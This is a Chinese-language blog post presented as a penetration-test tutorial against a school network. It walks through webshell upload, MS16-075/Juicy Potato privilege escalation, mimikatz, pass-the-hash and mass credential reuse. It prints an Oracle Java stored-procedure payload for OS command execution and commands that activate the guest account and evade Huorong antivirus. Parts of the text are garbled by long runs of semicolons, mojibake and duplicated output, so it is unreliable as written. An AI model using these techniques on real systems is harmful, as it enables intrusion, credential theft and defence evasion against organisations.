注:本博客仅供技术研究。如果其信息用于其他目的,用户将承担全部法律和连带责任。本博客不承担任何法律和连带责任。请遵守中华人民共和国安全法
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
初探内网
根据客户的要求,我们需要对学校进行友谊测试。没有数据窃取会篡改操作。经过几个小时的测试,我们发现几个旧系统有入口可操作,如下
学校使用了很多新系统,但是并没有把老系统关闭,经过一番搜索确定了这个老系统存在任意文件上传漏洞。
没有过滤,可以说是捡漏。
而且还回到了木马的路径。但我遇到了一个非常奇怪的现象。用蚁剑和菜刀连接后,返回路径不同,文件也不同。
蚁剑连接shell文件不能上传,但菜刀可以连接,webshell执行命令后,将被禁止IP,怀疑有waf。所以我先传了一个msf的aspx获得一个木马meterpreter会话windows-exploit-suggest探测未打补丁。
发现存在MS16-075这个很好用的漏洞,直接配合msf的juicy_potato攻击模块时记得修改CLSID,可以在这里找到
https://github.com/ohpe/juicy-potato/tree/master/CLSID
使用的payload最好选择正连接 bind_tcp,否则可能弹不回来shell。
这样就获得了system权限。下一步是收集机器的信息,以获取有助于我们横向渗透的信息。奇怪的是,这台机器有一个域,但现在它不见了,找不到域控。所以我们的重点是密码撞击库。msf自带的mimikatz获取密码的模块。
撞到两三台机器,有的机器开445端口,但没有开3389端口。
这样,我们可以尝试使用它ms-17010,但考虑到可能会影响一些正在使用的系统,我仍然选择使用更安全的 psexec模块撞击库。也就是说,哈希传输,有时当我们遇到无法获得明文密码时,我们可以考虑dump出密码的hash值,再使用psexec哈希传递模块进行攻击,获得的都是SYSTEM权限。
接下来的步骤很无聊,就是不断撞库收集密码,然后通过收集的密码撞库。获得足够的机器和密码后,找到边界路由器,但之前收集的密码无法成功登录,所以我不得不放弃。这一段结束了。
深入探索
经过对新系统的搜索,我在其中一个功能中发现了下载任何文件的漏洞。
并且是root最理想的服务是读取/etc/shadow文件,爆破root用户密码。(失败)root/.bash_history 来获取root用户的操作历史记录。它记录了tomcat部署路径和备份源代码文件。通过下载源代码收集信息,我收集了一个非常关键的信息。这个网段的机器大多使用oracle数据库没有修改SID,手里还有几个可以尝试的密码。
爆破后,发现了一台机器oracle数据库system用户密码未修改,为manager。每个人都应该指定oracle系统命令可以由数据库执行,system用户完全符合执行系统命令的条件。在网上找到工具,删除繁琐的步骤,直接执行命令。
绕过火绒行为检测
但是又出现了一个奇怪的问题,我只能执行几个命令,虽然我是system但是一旦我用了 net user这样的命令,就没有回显了。后来发现火绒拦截了异常行为。然后我试着直接用 navicat 中的sqlplus连接服务器。根据在线步骤建立执行命令代码,我可以根据服务器返回的1或0来判断命令是否执行。
create or replace and compile Java Source named "OSCommand" as-- java: OS COMMANDimport java.io.*;import java.lang.*;public class OSCommand{ public static String Run(String Command){ Runtime rt = Runtime.getRuntime();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;int rc = -1; try{ Process p = rt.exec( Command ); int bufSize = 32000; int len = 0; byte buffer[] = new byte[bufSize]; String s = null; BufferedInputStream bis = new BufferedInputStream( p.getInputStream(),bufSize ); len = bis.read( buffer,0,bufSize ); rc = p.waitFor();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;if ( len != -1 ){ s = new String( buffer,0,len ); return( s ); } return( rc "" ); catch (Exception e) e.printStackTrace();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;return( "-1\ncommand[" Command "]\n" e.getMessage()); show errorscreate or replace function OSexec( cCommand IN string ) return varchar2 is-- function: OS EXEC-- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc--language JAVAname OSCommand.Run(java.lang.String) return java.lang.String';/show errors-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC-- and OSCOMMAND stored procs.declare SCHEMA varchar2(30) := 'SCOTT';begin dbms_java.grant_permission( SCHEMA, * );commit;end;/-- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------Windows IP ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????l?? 3: l??????? DNS ??? . . . . . . . t?? IPv6 ???. . . . . . . . : ************* IPv4 ??? . . . . . . '*' );commit;end;/-- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------Windows IP ??????????????? ????l?? 3: l??????? DNS ??? . . . . . . . : ????t?? IPv6 ???. . . . . . . . : ************* IPv4 ??? . . . . . . . . . . . . : 192.168.100.100 ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????. . . . . . . . . . . . : 255.255.255.0 ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????. . . . . . . . . . . . . : 0.0.0.0--激活guest账号?SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------0因为有杀毒软件监控oracle因此,必须结合一些不被拦截的行为进行攻击。
没想到的是,当我直接执行命令行打开3389端口时,火绒没有拦截。但是当我执行的时候net user当命令无法执行时。这时,我突然想起来guest用户,我启用guest用户,然后加入管理员组,这次没有被拦截。直接远程桌面连接后,当我想在机器上使用时mimikatz或者反弹一个shell到cs都失败了。
并且guest还有一些禁止用户的权限,比如添加用户等敏感操作。但我执行它net user我在以前的机器上看到了一个用户,我有这个用户的密码。所以通过sqlplus将用户加入管理员组。
因此,火绒拦截的行为规则是不能添加用户,但现有用户可以添加到管理员组,guest用户可以激活,可以打开3389。我再次登录机器后,仍然无法反弹shell回来,或者读出它的密码。这时,弟弟告诉我,火绒可以直接打开,防护可以关闭,反弹shell我????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
然后一个操作就拿到了shell,但我仍然看不到明文密码,所以我想把哈希dump出来,然后爆破。但我记得有一个外国在线网站可以解决NTLM
https://www.objectif-securite.ch/ophcrack
获取密码后,熟悉的撞库,收集信息,然后撞库。
然后在服务器上找到了一个xftp保存了几个服务器的密码,此时发现了一个骚操作,可以使用一个星号密码查看器的工具来查看这里保存的密码。
又喜提几台root机器的权限。考试后不想玩,记录所有收集的密码用户,然后撞到整个网段的机器,撞到很多弱密码。
这个渗透教程到此结束!希望大家看看借鉴。如果您有技术咨询,请联系我们
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!